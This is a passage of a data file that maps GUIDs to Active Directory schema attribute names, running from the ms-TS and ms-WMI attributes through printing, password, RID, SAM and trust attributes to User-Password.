"e65c30db-316c-4060-a3a0-387b083f09cd": "ms-TS-Profile-Path", "faaea977-9655-49d7-853d-f27bb7aaca0f": "MS-TS-Property01", "3586f6ac-51b7-4978-ab42-f936463198e7": "MS-TS-Property02", "366ed7ca-3e18-4c7f-abae-351a01e4b4f7": "ms-TS-Reconnection-Action", "15177226-8642-468b-8c48-03ddfd004982": "ms-TS-Remote-Control", "34b107af-a00a-455a-b139-dd1a1b12d8af": "ms-TS-Secondary-Desktop-BL", "f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2": "ms-TS-Secondary-Desktops", "a744f666-3d3c-4cc8-834b-9d4f6f687b8b": "ms-TS-Work-Directory", "6366c0c1-6972-4e66-b3a5-1d52ad0c0547": "ms-WMI-Author", "f9cdf7a0-ec44-4937-a79b-cd91522b3aa8": "ms-WMI-ChangeDate", "90c1925f-4a24-4b07-b202-be32eb3c8b74": "ms-WMI-Class", "2b9c0ebc-c272-45cb-99d2-4d0e691632e0": "ms-WMI-ClassDefinition", "748b0a2e-3351-4b3f-b171-2f17414ea779": "ms-WMI-CreationDate", "50c8673a-8f56-4614-9308-9e1340fb9af3": "ms-WMI-Genus", "9339a803-94b8-47f7-9123-a853b9ff7e45": "ms-WMI-ID", "f4d8085a-8c5b-4785-959b-dc585566e445": "ms-WMI-int8Default", "e3d8b547-003d-4946-a32b-dc7cedc96b74": "ms-WMI-int8Max", "ed1489d1-54cc-4066-b368-a00daa2664f1": "ms-WMI-int8Min", "103519a9-c002-441b-981a-b0b3e012c803": "ms-WMI-int8ValidValues", "1b0c07f8-76dd-4060-a1e1-70084619dc90": "ms-WMI-intDefault", "18e006b9-6445-48e3-9dcf-b5ecfbc4df8e": "ms-WMI-intFlags1", "075a42c9-c55a-45b1-ac93-eb086b31f610": "ms-WMI-intFlags2", "f29fa736-de09-4be4-b23a-e734c124bacc": "ms-WMI-intFlags3", "bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2": "ms-WMI-intFlags4", "fb920c2c-f294-4426-8ac1-d24b42aa2bce": "ms-WMI-intMax", "68c2e3ba-9837-4c70-98e0-f0c33695d023": "ms-WMI-intMin", "6af565f6-a749-4b72-9634-3c5d47e6b4e0": "ms-WMI-intValidValues", "6736809f-2064-443e-a145-81262b1f1366": "ms-WMI-Mof", "c6c8ace5-7e81-42af-ad72-77412c5941c4": "ms-WMI-Name", "eaba628f-eb8e-4fe9-83fc-693be695559b": "ms-WMI-NormalizedClass", "27e81485-b1b0-4a8b-bedd-ce19a837e26e": "ms-WMI-Parm1", "0003508e-9c42-4a76-a8f4-38bf64bab0de": "ms-WMI-Parm2", "45958fb6-52bd-48ce-9f9f-c2712d9f2bfc": "ms-WMI-Parm3", "3800d5a3-f1ce-4b82-a59a-1528ea795f59": "ms-WMI-Parm4", "ab920883-e7f8-4d72-b4a0-c0449897509d": "ms-WMI-PropertyName", "65fff93e-35e3-45a3-85ae-876c6718297f": "ms-WMI-Query", "7d3cfa98-c17b-4254-8bd7-4de9b932a345": "ms-WMI-QueryLanguage", "87b78d51-405f-4b7f-80ed-2bd28786f48d": "ms-WMI-ScopeGuid", "34f7ed6c-615d-418d-aa00-549a7d7be03e": "ms-WMI-SourceOrganization", "152e42b6-37c5-4f55-ab48-1606384a9aea": "ms-WMI-stringDefault", "37609d31-a2bf-4b58-8f53-2b64e57a076d": "ms-WMI-stringValidValues", "95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62": "ms-WMI-TargetClass", "1c4ab61f-3420-44e5-849d-8b5dbf60feb7": "ms-WMI-TargetNameSpace", "c44f67a5-7de5-4a1f-92d9-662b57364b77": "ms-WMI-TargetObject", "5006a79a-6bfe-4561-9f52-13cf4dd3e560": "ms-WMI-TargetPath", "ca2a281e-262b-4ff7-b419-bc123352a4e9": "ms-WMI-TargetType", "bf9679d3-0de6-11d0-a285-00aa003049e2": "Must-Contain", "bf967a0e-0de6-11d0-a285-00aa003049e2": "RDN", "80212840-4bdc-11d1-a9c4-0000f80367c1": "Name-Service-Flags", "bf9679d6-0de6-11d0-a285-00aa003049e2": "NC-Name", "bf9679d8-0de6-11d0-a285-00aa003049e2": "NETBIOS-Name", "07383076-91df-11d1-aebc-0000f80367c1": "netboot-Allow-New-Clients", "0738307b-91df-11d1-aebc-0000f80367c1": "netboot-Answer-Only-Valid-Clients", "0738307a-91df-11d1-aebc-0000f80367c1": "netboot-Answer-Requests", "07383079-91df-11d1-aebc-0000f80367c1": "netboot-Current-Client-Count", "3e978921-8c01-11d0-afda-00c04fd930c9": "Netboot-GUID", "3e978920-8c01-11d0-afda-00c04fd930c9": "Netboot-Initialization", "0738307e-91df-11d1-aebc-0000f80367c1": "netboot-IntelliMirror-OSes", "07383077-91df-11d1-aebc-0000f80367c1": "netboot-Limit-Clients", "07383080-91df-11d1-aebc-0000f80367c1": "netboot-Locally-Installed-OSes", "3e978923-8c01-11d0-afda-00c04fd930c9": "Netboot-Machine-File-Path", "07383078-91df-11d1-aebc-0000f80367c1": "netboot-Max-Clients", "2df90d85-009f-11d2-aa4c-00c04fd7d83a": "Netboot-Mirror-Data-File", "0738307c-91df-11d1-aebc-0000f80367c1": "netboot-New-Machine-Naming-Policy", "0738307d-91df-11d1-aebc-0000f80367c1": "netboot-New-Machine-OU", "07383082-91df-11d1-aebc-0000f80367c1": "netboot-SCP-BL", "07383081-91df-11d1-aebc-0000f80367c1": "netboot-Server", "2df90d84-009f-11d2-aa4c-00c04fd7d83a": "Netboot-SIF-File", "0738307f-91df-11d1-aebc-0000f80367c1": "netboot-Tools", "bf9679d9-0de6-11d0-a285-00aa003049e2": "Network-Address", "bf9679da-0de6-11d0-a285-00aa003049e2": "Next-Level-Store", "bf9679db-0de6-11d0-a285-00aa003049e2": "Next-Rid", "4a95216e-fcc0-402e-b57f-5971626148a9": "nisMapEntry", "969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1": "nisMapName", "a8032e74-30ef-4ff5-affc-0fc217783fec": "nisNetgroupTriple", "52458018-ca6a-11d0-afff-0000f80367c1": "Non-Security-Member", "52458019-ca6a-11d0-afff-0000f80367c1": "Non-Security-Member-BL", "6d05fb41-246b-11d0-a9c8-00aa006c33ed": "Additional-Information", "19195a56-6da0-11d0-afd3-00c04fd930c9": "Notification-List", "bf9679df-0de6-11d0-a285-00aa003049e2": "NT-Group-Members", "3e97891f-8c01-11d0-afda-00c04fd930c9": "NT-Mixed-Domain", "bf9679e2-0de6-11d0-a285-00aa003049e2": "Nt-Pwd-History", "bf9679e3-0de6-11d0-a285-00aa003049e2": "NT-Security-Descriptor", "bf9679ef-0de6-11d0-a285-00aa003049e2": "Organization-Name", "26d97369-6070-11d1-a9c6-0000f80367c1": "Object-Category", "bf9679e5-0de6-11d0-a285-00aa003049e2": "Object-Class", "bf9679e6-0de6-11d0-a285-00aa003049e2": "Object-Class-Category", "9a7ad94b-ca53-11d1-bbd0-0080c76670c0": "Object-Classes", "34aaa216-b699-11d0-afee-0000f80367c1": "Object-Count", "bf9679e7-0de6-11d0-a285-00aa003049e2": "Object-Guid", "bf9679e8-0de6-11d0-a285-00aa003049e2": "Object-Sid", "16775848-47f3-11d1-a9c3-0000f80367c1": "Object-Version", "bf9679ea-0de6-11d0-a285-00aa003049e2": "OEM-Information", "bf9679ec-0de6-11d0-a285-00aa003049e2": "OM-Object-Class", "bf9679ed-0de6-11d0-a285-00aa003049e2": "OM-Syntax", "ddac0cf3-af8f-11d0-afeb-00c04fd930c9": "OMT-Guid", "1f0075fa-7e40-11d0-afd6-00c04fd930c9": "OMT-Indx-Guid", "966825f5-01d9-4a5c-a011-d15ae84efa55": "oncRpcNumber", "3e978925-8c01-11d0-afda-00c04fd930c9": "Operating-System", "bd951b3c-9c96-11d0-afdd-00c04fd930c9": "Operating-System-Hotfix", "3e978927-8c01-11d0-afda-00c04fd930c9": "Operating-System-Service-Pack", "3e978926-8c01-11d0-afda-00c04fd930c9": "Operating-System-Version", "bf9679ee-0de6-11d0-a285-00aa003049e2": "Operator-Count", "963d274d-48be-11d1-a9c3-0000f80367c1": "Option-Description", "19195a53-6da0-11d0-afd3-00c04fd930c9": "Options", "963d274e-48be-11d1-a9c3-0000f80367c1": "Options-Location", "28596019-7349-4d2f-adff-5a629961f942": "organizationalStatus", "5fd424ce-1262-11d0-a060-00aa006c33ed": "Original-Display-Table", "5fd424cf-1262-11d0-a060-00aa006c33ed": "Original-Display-Table-MSDOS", "0296c11d-40da-11d1-a9c0-0000f80367c1": "Phone-Fax-Other", "f0f8ffa2-1191-11d0-a060-00aa006c33ed": "Phone-Home-Other", "4d146e4b-48d4-11d1-a9c3-0000f80367c1": "Phone-Ip-Other", "bf9679f1-0de6-11d0-a285-00aa003049e2": "Other-Login-Workstations", "0296c123-40da-11d1-a9c0-0000f80367c1": "Other-Mailbox", "0296c11e-40da-11d1-a9c0-0000f80367c1": "Phone-Mobile-Other", "f0f8ffa4-1191-11d0-a060-00aa006c33ed": "Phone-Pager-Other", "f0f8ffa5-1191-11d0-a060-00aa006c33ed": "Phone-Office-Other", "1ea64e5d-ac0f-11d2-90df-00c04fd91ab1": "Other-Well-Known-Objects", "bf9679f0-0de6-11d0-a285-00aa003049e2": "Organizational-Unit-Name", "bf9679f3-0de6-11d0-a285-00aa003049e2": "Owner", "bf9679f4-0de6-11d0-a285-00aa003049e2": "ms-Exch-Owner-BL", "7d6c0e99-7e20-11d0-afd6-00c04fd930c9": "Package-Flags", "7d6c0e98-7e20-11d0-afd6-00c04fd930c9": "Package-Name", "7d6c0e96-7e20-11d0-afd6-00c04fd930c9": "Package-Type", "f0f8ffa6-1191-11d0-a060-00aa006c33ed": "Phone-Pager-Primary", "5245801b-ca6a-11d0-afff-0000f80367c1": "Parent-CA", "963d2733-48be-11d1-a9c3-0000f80367c1": "Parent-CA-Certificate-Chain", "2df90d74-009f-11d2-aa4c-00c04fd7d83a": "Parent-GUID", "28630ec0-41d5-11d1-a9c1-0000f80367c1": "Partial-Attribute-Deletion-List", "19405b9e-3cfa-11d1-a9c0-0000f80367c1": "Partial-Attribute-Set", "07383084-91df-11d1-aebc-0000f80367c1": "Pek-Key-Change-Interval", "07383083-91df-11d1-aebc-0000f80367c1": "Pek-List", "963d273c-48be-11d1-a9c3-0000f80367c1": "Pending-CA-Certificates", "963d273e-48be-11d1-a9c3-0000f80367c1": "Pending-Parent-CA", "5fd424d3-1262-11d0-a060-00aa006c33ed": "Per-Msg-Dialog-Display-Table", "5fd424d4-1262-11d0-a060-00aa006c33ed": "Per-Recip-Dialog-Display-Table", "16775858-47f3-11d1-a9c3-0000f80367c1": "Personal-Title", "9c979768-ba1a-4c08-9632-c6a5c1ed649a": "photo", "bf9679f7-0de6-11d0-a285-00aa003049e2": "Physical-Delivery-Office-Name", "b7b13119-b82e-11d0-afee-0000f80367c1": "Physical-Location-Object", "fc5a9106-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Critical-Extensions", "1ef6336e-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Default-CSPs", "426cae6e-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Default-Key-Spec", "926be278-56f9-11d2-90d0-00c04fd91ab1": "PKI-Enrollment-Access", "041570d2-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Expiration-Period", "18976af6-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Extended-Key-Usage", "e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Key-Usage", "f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Max-Issuing-Depth", "1219a3ec-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Overlap-Period", "8447f9f1-1027-11d0-a05f-00aa006c33ed": "PKT", "8447f9f0-1027-11d0-a05f-00aa006c33ed": "PKT-Guid", "19405b96-3cfa-11d1-a9c0-0000f80367c1": "Policy-Replication-Flags", "281416c4-1968-11d0-a28f-00aa003049e2": "Port-Name", "9a7ad94c-ca53-11d1-bbd0-0080c76670c0": "Possible-Inferiors", "bf9679fa-0de6-11d0-a285-00aa003049e2": "Poss-Superiors", "bf9679fc-0de6-11d0-a285-00aa003049e2": "Postal-Address", "bf9679fd-0de6-11d0-a285-00aa003049e2": "Postal-Code", "bf9679fb-0de6-11d0-a285-00aa003049e2": "Post-Office-Box", "bf9679fe-0de6-11d0-a285-00aa003049e2": "Preferred-Delivery-Method", "856be0d0-18e7-46e1-8f5f-7ee4d9020e0d": "preferredLanguage", "bf9679ff-0de6-11d0-a285-00aa003049e2": "Preferred-OU", "52458022-ca6a-11d0-afff-0000f80367c1": "Prefix-Map", "a8df744b-c5ea-11d1-bbcb-0080c76670c0": "Presentation-Address", "963d2739-48be-11d1-a9c3-0000f80367c1": "Previous-CA-Certificates", "963d273d-48be-11d1-a9c3-0000f80367c1": "Previous-Parent-CA", "bf967a00-0de6-11d0-a285-00aa003049e2": "Primary-Group-ID", "c0ed8738-7efd-4481-84d9-66d2db8be369": "Primary-Group-Token", "0296c11f-40da-11d1-a9c0-0000f80367c1": "Phone-ISDN-Primary", "0296c121-40da-11d1-a9c0-0000f80367c1": "Telex-Primary", "281416d7-1968-11d0-a28f-00aa003049e2": "Print-Attributes", "281416cd-1968-11d0-a28f-00aa003049e2": "Print-Bin-Names", "281416d2-1968-11d0-a28f-00aa003049e2": "Print-Collate", "281416d3-1968-11d0-a28f-00aa003049e2": "Print-Color", "281416cc-1968-11d0-a28f-00aa003049e2": "Print-Duplex-Supported", "281416ca-1968-11d0-a28f-00aa003049e2": "Print-End-Time", "244b296e-5abd-11d0-afd2-00c04fd930c9": "Printer-Name", "281416cb-1968-11d0-a28f-00aa003049e2": "Print-Form-Name", "ba305f6d-47e3-11d0-a1a6-00c04fd930c9": "Print-Keep-Printed-Jobs", "281416d6-1968-11d0-a28f-00aa003049e2": "Print-Language", "ba305f7a-47e3-11d0-a1a6-00c04fd930c9": "Print-MAC-Address", "281416d1-1968-11d0-a28f-00aa003049e2": "Print-Max-Copies", "281416cf-1968-11d0-a28f-00aa003049e2": "Print-Max-Resolution-Supported", "ba305f6f-47e3-11d0-a1a6-00c04fd930c9": "Print-Max-X-Extent", "ba305f70-47e3-11d0-a1a6-00c04fd930c9": "Print-Max-Y-Extent", "3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9": "Print-Media-Ready", "244b296f-5abd-11d0-afd2-00c04fd930c9": "Print-Media-Supported", "ba305f74-47e3-11d0-a1a6-00c04fd930c9": "Print-Memory", "ba305f71-47e3-11d0-a1a6-00c04fd930c9": "Print-Min-X-Extent", "ba305f72-47e3-11d0-a1a6-00c04fd930c9": "Print-Min-Y-Extent", "ba305f79-47e3-11d0-a1a6-00c04fd930c9": "Print-Network-Address", "ba305f6a-47e3-11d0-a1a6-00c04fd930c9": "Print-Notify", "3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9": "Print-Number-Up", "281416d0-1968-11d0-a28f-00aa003049e2": "Print-Orientations-Supported", "ba305f69-47e3-11d0-a1a6-00c04fd930c9": "Print-Owner", "19405b97-3cfa-11d1-a9c0-0000f80367c1": "Print-Pages-Per-Minute", "ba305f77-47e3-11d0-a1a6-00c04fd930c9": "Print-Rate", "ba305f78-47e3-11d0-a1a6-00c04fd930c9": "Print-Rate-Unit", "281416c6-1968-11d0-a28f-00aa003049e2": "Print-Separator-File", "ba305f68-47e3-11d0-a1a6-00c04fd930c9": "Print-Share-Name", "ba305f6c-47e3-11d0-a1a6-00c04fd930c9": "Print-Spooling", "ba305f73-47e3-11d0-a1a6-00c04fd930c9": "Print-Stapling-Supported", "281416c9-1968-11d0-a28f-00aa003049e2": "Print-Start-Time", "ba305f6b-47e3-11d0-a1a6-00c04fd930c9": "Print-Status", "281416c7-1968-11d0-a28f-00aa003049e2": "Priority", "bf967a01-0de6-11d0-a285-00aa003049e2": "Prior-Set-Time", "bf967a02-0de6-11d0-a285-00aa003049e2": "Prior-Value", "bf967a03-0de6-11d0-a285-00aa003049e2": "Private-Key", "19405b9a-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Attributes", "19405b98-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Display-Name", "19405b9b-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Holder", "19405b99-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Value", "d9e18317-8939-11d1-aebc-0000f80367c1": "Product-Code", "bf967a05-0de6-11d0-a285-00aa003049e2": "Profile-Path", "e1aea402-cd5b-11d0-afff-0000f80367c1": "Proxied-Object-Name", "bf967a06-0de6-11d0-a285-00aa003049e2": "Proxy-Addresses", "5fd424d6-1262-11d0-a060-00aa006c33ed": "Proxy-Generation-Enabled", "bf967a07-0de6-11d0-a285-00aa003049e2": "Proxy-Lifetime", "80a67e28-9f22-11d0-afdd-00c04fd930c9": "Public-Key-Policy", "b4b54e50-943a-11d1-aebd-0000f80367c1": "Purported-Search", "bf967a09-0de6-11d0-a285-00aa003049e2": "Pwd-History-Length", "bf967a0a-0de6-11d0-a285-00aa003049e2": "Pwd-Last-Set", "bf967a0b-0de6-11d0-a285-00aa003049e2": "Pwd-Properties", "80a67e4e-9f22-11d0-afdd-00c04fd930c9": "Quality-Of-Service", "cbf70a26-7e78-11d2-9921-0000f87a57d4": "Query-Filter", "7bfdcb86-4807-11d1-a9c3-0000f80367c1": "QueryPoint", "e1aea404-cd5b-11d0-afff-0000f80367c1": "Query-Policy-BL", "e1aea403-cd5b-11d0-afff-0000f80367c1": "Query-Policy-Object", "bf967a0c-0de6-11d0-a285-00aa003049e2": "Range-Lower", "bf967a0d-0de6-11d0-a285-00aa003049e2": "Range-Upper", "bf967a0f-0de6-11d0-a285-00aa003049e2": "RDN-Att-ID", "bf967a10-0de6-11d0-a285-00aa003049e2": "Registered-Address", "bf967a12-0de6-11d0-a285-00aa003049e2": "Remote-Server-Name", "bf967a14-0de6-11d0-a285-00aa003049e2": "Remote-Source", "bf967a15-0de6-11d0-a285-00aa003049e2": "Remote-Source-Type", "2a39c5b0-8960-11d1-aebc-0000f80367c1": "Remote-Storage-GUID", "bf967a18-0de6-11d0-a285-00aa003049e2": "Replica-Source", "45ba9d1a-56fa-11d2-90d0-00c04fd91ab1": "Repl-Interval", "281416c0-1968-11d0-a28f-00aa003049e2": "Repl-Property-Meta-Data", "7bfdcb83-4807-11d1-a9c3-0000f80367c1": "Repl-Topology-Stay-Of-Execution", "bf967a16-0de6-11d0-a285-00aa003049e2": "Repl-UpToDate-Vector", "bf967a1d-0de6-11d0-a285-00aa003049e2": "Reps-From", "bf967a1e-0de6-11d0-a285-00aa003049e2": "Reps-To", "7d6c0e93-7e20-11d0-afd6-00c04fd930c9": "Required-Categories", "7bfdcb7f-4807-11d1-a9c3-0000f80367c1": "Retired-Repl-DSA-Signatures", "bf967a21-0de6-11d0-a285-00aa003049e2": "Revision", "bf967a22-0de6-11d0-a285-00aa003049e2": "Rid", "66171889-8f3c-11d0-afda-00c04fd930c9": "RID-Allocation-Pool", "66171888-8f3c-11d0-afda-00c04fd930c9": "RID-Available-Pool", "66171886-8f3c-11d0-afda-00c04fd930c9": "RID-Manager-Reference", "6617188c-8f3c-11d0-afda-00c04fd930c9": "RID-Next-RID", "6617188a-8f3c-11d0-afda-00c04fd930c9": "RID-Previous-Allocation-Pool", "7bfdcb7b-4807-11d1-a9c3-0000f80367c1": "RID-Set-References", "6617188b-8f3c-11d0-afda-00c04fd930c9": "RID-Used-Pool", "8297931c-86d3-11d0-afda-00c04fd930c9": "Rights-Guid", "a8df7465-c5ea-11d1-bbcb-0080c76670c0": "Role-Occupant", "81d7f8c2-e327-4a0d-91c6-b42d4009115f": "roomNumber", "7bfdcb80-4807-11d1-a9c3-0000f80367c1": "Root-Trust", "88611bde-8cf4-11d0-afda-00c04fd930c9": "rpc-Ns-Annotation", "bf967a23-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Bindings", "7a0ba0e0-8e98-11d0-afda-00c04fd930c9": "rpc-Ns-Codeset", "80212841-4bdc-11d1-a9c4-0000f80367c1": "rpc-Ns-Entry-Flags", "bf967a24-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Group", "bf967a25-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Interface-ID", "29401c48-7a27-11d0-afd6-00c04fd930c9": "rpc-Ns-Object-ID", "bf967a27-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Priority", "bf967a28-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Profile-Entry", "29401c4a-7a27-11d0-afd6-00c04fd930c9": "rpc-Ns-Transfer-Syntax", "3e0abfd0-126a-11d0-a060-00aa006c33ed": "SAM-Account-Name", "6e7b626c-64f2-11d0-afd2-00c04fd930c9": "SAM-Account-Type", "04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe": "SAM-Domain-Updates", "dd712224-10e4-11d0-a05f-00aa006c33ed": "Schedule", "bf967a2b-0de6-11d0-a285-00aa003049e2": "Schema-Flags-Ex", "bf967923-0de6-11d0-a285-00aa003049e2": "Schema-ID-GUID", "f9fb64ae-93b4-11d2-9945-0000f87a57d4": "Schema-Info", "1e2d06b4-ac8f-11d0-afe3-00c04fd930c9": "Schema-Update", "bf967a2c-0de6-11d0-a285-00aa003049e2": "Schema-Version", "16f3a4c2-7e79-11d2-9921-0000f87a57d4": "Scope-Flags", "bf9679a8-0de6-11d0-a285-00aa003049e2": "Script-Path", "c3dbafa6-33df-11d2-98b2-0000f87a57d4": "SD-Rights-Effective", "bf967a2d-0de6-11d0-a285-00aa003049e2": "Search-Flags", "bf967a2e-0de6-11d0-a285-00aa003049e2": "Search-Guide", "01072d9a-98ad-4a53-9744-e83e287278fb": "secretary", "bf967a2f-0de6-11d0-a285-00aa003049e2": "Security-Identifier", "bf967a31-0de6-11d0-a285-00aa003049e2": "See-Also", "ddac0cf2-af8f-11d0-afeb-00c04fd930c9": "Seq-Notification", "bf967a32-0de6-11d0-a285-00aa003049e2": "Serial-Number", "09dcb7a0-165f-11d0-a064-00aa006c33ed": "Server-Name", "26d9736d-6070-11d1-a9c6-0000f80367c1": "Server-Reference", "26d9736e-6070-11d1-a9c6-0000f80367c1": "Server-Reference-BL", "bf967a33-0de6-11d0-a285-00aa003049e2": "Server-Role", "bf967a34-0de6-11d0-a285-00aa003049e2": "Server-State", "b7b1311c-b82e-11d0-afee-0000f80367c1": "Service-Binding-Information", "bf967a35-0de6-11d0-a285-00aa003049e2": "Service-Class-ID", "bf967a36-0de6-11d0-a285-00aa003049e2": "Service-Class-Info", "b7b1311d-b82e-11d0-afee-0000f80367c1": "Service-Class-Name", "28630eb8-41d5-11d1-a9c1-0000f80367c1": "Service-DNS-Name", "28630eba-41d5-11d1-a9c1-0000f80367c1": "Service-DNS-Name-Type", "bf967a37-0de6-11d0-a285-00aa003049e2": "Service-Instance-Version", "f3a64788-5306-11d1-a9c5-0000f80367c1": "Service-Principal-Name", "7d6c0e97-7e20-11d0-afd6-00c04fd930c9": "Setup-Command", "75159a00-1fff-4cf4-8bff-4ef2695cf643": "shadowExpire", "8dfeb70d-c5db-46b6-b15e-a4389e6cee9b": "shadowFlag", "86871d1f-3310-4312-8efd-af49dcfb2671": "shadowInactive", "f8f2689c-29e8-4843-8177-e8b98e15eeac": "shadowLastChange", "f285c952-50dd-449e-9160-3b880d99988d": "shadowMax", "a76b8737-e5a1-4568-b057-dc12e04be4b2": "shadowMin", "7ae89c9c-2976-4a46-bb8a-340f88560117": "shadowWarning", "553fd039-f32e-11d0-b0bc-00c04fd8dca6": "Shell-Context-Menu", "52458039-ca6a-11d0-afff-0000f80367c1": "Shell-Property-Pages", "45b01501-c419-11d1-bbc9-0080c76670c0": "Short-Server-Name", "3e74f60e-3e73-11d1-a9c0-0000f80367c1": "Show-In-Address-Book", "bf967984-0de6-11d0-a285-00aa003049e2": "Show-In-Advanced-View-Only", "17eb4278-d167-11d0-b002-0000f80367c1": "SID-History", "2a39c5b2-8960-11d1-aebc-0000f80367c1": "Signature-Algorithms", "3e978924-8c01-11d0-afda-00c04fd930c9": "Site-GUID", "d50c2cdd-8951-11d1-aebc-0000f80367c1": "Site-Link-List", "d50c2cdc-8951-11d1-aebc-0000f80367c1": "Site-List", "3e10944c-c354-11d0-aff8-0000f80367c1": "Site-Object", "3e10944d-c354-11d0-aff8-0000f80367c1": "Site-Object-BL", "1be8f17c-a9ff-11d0-afe2-00c04fd930c9": "Site-Server", "bf967a41-0de6-11d0-a285-00aa003049e2": "Surname", "2ab0e76c-7041-11d2-9905-0000f87a57d4": "SPN-Mappings", "bf967a39-0de6-11d0-a285-00aa003049e2": "State-Or-Province-Name", "bf967a3a-0de6-11d0-a285-00aa003049e2": "Street-Address", "f0f8ff84-1191-11d0-a060-00aa006c33ed": "Address", "3860949f-f6a8-4b38-9950-81ecb6bc2982": "Structural-Object-Class", "bf967a3b-0de6-11d0-a285-00aa003049e2": "Sub-Class-Of", "bf967a3c-0de6-11d0-a285-00aa003049e2": "Sub-Refs", "9a7ad94d-ca53-11d1-bbd0-0080c76670c0": "SubSchemaSubEntry", "5245801d-ca6a-11d0-afff-0000f80367c1": "Superior-DNS-Root", "963d274c-48be-11d1-a9c3-0000f80367c1": "Super-Scope-Description", "963d274b-48be-11d1-a9c3-0000f80367c1": "Super-Scopes", "bf967a3f-0de6-11d0-a285-00aa003049e2": "Supplemental-Credentials", "1677588f-47f3-11d1-a9c3-0000f80367c1": "Supported-Application-Context", "037651e4-441d-11d1-a9c3-0000f80367c1": "Sync-Attributes", "037651e3-441d-11d1-a9c3-0000f80367c1": "Sync-Membership", "037651e2-441d-11d1-a9c3-0000f80367c1": "Sync-With-Object", "037651e5-441d-11d1-a9c3-0000f80367c1": "Sync-With-SID", "bf967a43-0de6-11d0-a285-00aa003049e2": "System-Auxiliary-Class", "e0fa1e62-9b45-11d0-afdd-00c04fd930c9": "System-Flags", "bf967a44-0de6-11d0-a285-00aa003049e2": "System-May-Contain", "bf967a45-0de6-11d0-a285-00aa003049e2": "System-Must-Contain", "bf967a46-0de6-11d0-a285-00aa003049e2": "System-Only", "bf967a47-0de6-11d0-a285-00aa003049e2": "System-Poss-Superiors", "bf967a49-0de6-11d0-a285-00aa003049e2": "Telephone-Number", "bf967a4a-0de6-11d0-a285-00aa003049e2": "Teletex-Terminal-Identifier", "bf967a4b-0de6-11d0-a285-00aa003049e2": "Telex-Number", "ed9de9a0-7041-11d2-9905-0000f87a57d4": "Template-Roots", "b1cba91a-0682-4362-a659-153e201ef069": "Template-Roots2", "6db69a1c-9422-11d1-aebd-0000f80367c1": "Terminal-Server", "a8df7489-c5ea-11d1-bbcb-0080c76670c0": "Text-Encoded-OR-Address", "bf9679a9-0de6-11d0-a285-00aa003049e2": "Logo", "8d3bca50-1d7e-11d0-a081-00aa006c33ed": "Picture", "ddac0cf1-af8f-11d0-afeb-00c04fd930c9": "Time-Refresh", "ddac0cf0-af8f-11d0-afeb-00c04fd930c9": "Time-Vol-Change", "bf967a55-0de6-11d0-a285-00aa003049e2": "Title", "b7c69e6d-2cc7-11d2-854e-00a0c983f608": "Token-Groups", "46a9b11d-60ae-405a-b7e8-ff8a58d456d2": "Token-Groups-Global-And-Universal", "040fc392-33df-11d2-98b2-0000f87a57d4": "Token-Groups-No-GC-Acceptable", "16c3a860-1273-11d0-a060-00aa006c33ed": "Tombstone-Lifetime", "c1dc867c-a261-11d1-b606-0000f80367c1": "Transport-Address-Attribute", "26d97372-6070-11d1-a9c6-0000f80367c1": "Transport-DLL-Name", "26d97374-6070-11d1-a9c6-0000f80367c1": "Transport-Type", "8fd044e3-771f-11d1-aeae-0000f80367c1": "Treat-As-Leaf", "28630ebd-41d5-11d1-a9c1-0000f80367c1": "Tree-Name", "80a67e5a-9f22-11d0-afdd-00c04fd930c9": "Trust-Attributes", "bf967a59-0de6-11d0-a285-00aa003049e2": "Trust-Auth-Incoming", "bf967a5f-0de6-11d0-a285-00aa003049e2": "Trust-Auth-Outgoing", "bf967a5c-0de6-11d0-a285-00aa003049e2": "Trust-Direction", "b000ea7a-a086-11d0-afdd-00c04fd930c9": "Trust-Parent", "bf967a5d-0de6-11d0-a285-00aa003049e2": "Trust-Partner", "bf967a5e-0de6-11d0-a285-00aa003049e2": "Trust-Posix-Offset", "bf967a60-0de6-11d0-a285-00aa003049e2": "Trust-Type", "bf967a61-0de6-11d0-a285-00aa003049e2": "UAS-Compat", "0bb0fca0-1e89-429f-901a-1413894d9f59": "uid", "850fcc8f-9c6b-47e1-b671-7c654be4d5b3": "uidNumber", "bf967a64-0de6-11d0-a285-00aa003049e2": "UNC-Name", "bf9679e1-0de6-11d0-a285-00aa003049e2": "Unicode-Pwd", "ba0184c7-38c5-4bed-a526-75421470580c": "uniqueIdentifier", "8f888726-f80a-44d7-b1ee-cb9df21392c8": "uniqueMember", "bc2dba12-000f-464d-bf1d-0808465d8843": "unixHomeDirectory", "612cb747-c0e8-4f92-9221-fdd5f15b550d": "unixUserPassword", "50950839-cc4c-4491-863a-fcf942d684b7": "unstructuredAddress", "9c8ef177-41cf-45c9-9673-7716c0c8901b": "unstructuredName", "d9e18312-8939-11d1-aebc-0000f80367c1": "Upgrade-Product-Code", "032160bf-9824-11d1-aec0-0000f80367c1": "UPN-Suffixes", "9a9a0221-4a5b-11d1-a9c3-0000f80367c1": "WWW-Page-Other", "bf967a68-0de6-11d0-a285-00aa003049e2": "User-Account-Control", "bf967a69-0de6-11d0-a285-00aa003049e2": "User-Cert", "bf967a7f-0de6-11d0-a285-00aa003049e2": "X509-Cert", "11732a8a-e14d-4cc5-b92f-d93f51c6d8e4": "userClass", "bf967a6d-0de6-11d0-a285-00aa003049e2": "User-Parameters", "bf967a6e-0de6-11d0-a285-00aa003049e2": "User-Password", 